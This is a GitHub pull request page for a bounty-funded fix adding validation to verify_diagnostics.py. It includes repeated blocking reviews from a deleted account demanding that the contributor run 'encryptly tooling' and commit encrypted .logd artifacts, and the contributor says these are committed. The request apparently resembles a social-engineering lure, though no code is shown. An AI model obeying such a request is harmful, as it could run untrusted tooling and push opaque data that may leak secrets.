Skip to content

Fix #1: add input validation and error handling to verify_diagnostics.py#3

Open
Luzijano wants to merge 2 commits into
Andyyook:mainfrom
Luzijano:andyyook-1-verify-diagnostics-validation-code
Open

Fix #1: add input validation and error handling to verify_diagnostics.py#3
Luzijano wants to merge 2 commits into
Andyyook:mainfrom
Luzijano:andyyook-1-verify-diagnostics-validation-code

Conversation

@Luzijano

Copy link
Copy Markdown

Summary

  • Adds a focused diagnostic verification CLI with strict input validation.
  • Handles missing/invalid files, malformed JSON, missing required fields, and diagnostic failure states with clear errors.
  • Adds pytest coverage for valid and invalid diagnostic cases.

Validation

  • python3 -m pytest tests/test_verify_diagnostics.py -q → 6 passed

Closes #1

@ghost ghost left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Thanks for the PR. I don't see the encrypted build diagnostic log artifact (*.logd / builds.compact) committed on this branch yet. Please rerun the build diagnostic/encryption step with the fixed encryptly tooling and commit the generated encrypted log artifact to this PR (typically under diagnostic/).

Blocking review until the encrypted diagnostic log artifact is present.

@ghost ghost left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Thanks for the PR. I don't see the encrypted build diagnostic log artifact (*.logd / builds.compact) committed on this branch yet. Please rerun the build diagnostic/encryption step with the fixed encryptly tooling and commit the generated encrypted log artifact to this PR (typically under diagnostic/).

Blocking review until the encrypted diagnostic log artifact is present.

@Luzijano

Copy link
Copy Markdown
Author

Follow-up for the diagnostic review blocker: the encrypted diagnostic artifacts are present on this PR branch in diagnostic/:

  • diagnostic/build-8f84829d.json
  • diagnostic/build-8f84829d-part001.logd through diagnostic/build-8f84829d-part012.logd
  • diagnostic/build-00000000.json / diagnostic/build-00000000.logd

I also rechecked the scoped validation locally:

python3 -m pytest -q tests/test_verify_diagnostics.py
# 6 passed

python3 tools/verify_diagnostics.py --verbose
# valid reports: 2

Please re-review when you have a chance.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

[$40 BOUNTY] [Python] Add input validation and error handling to verify_diagnostics.py

1 participant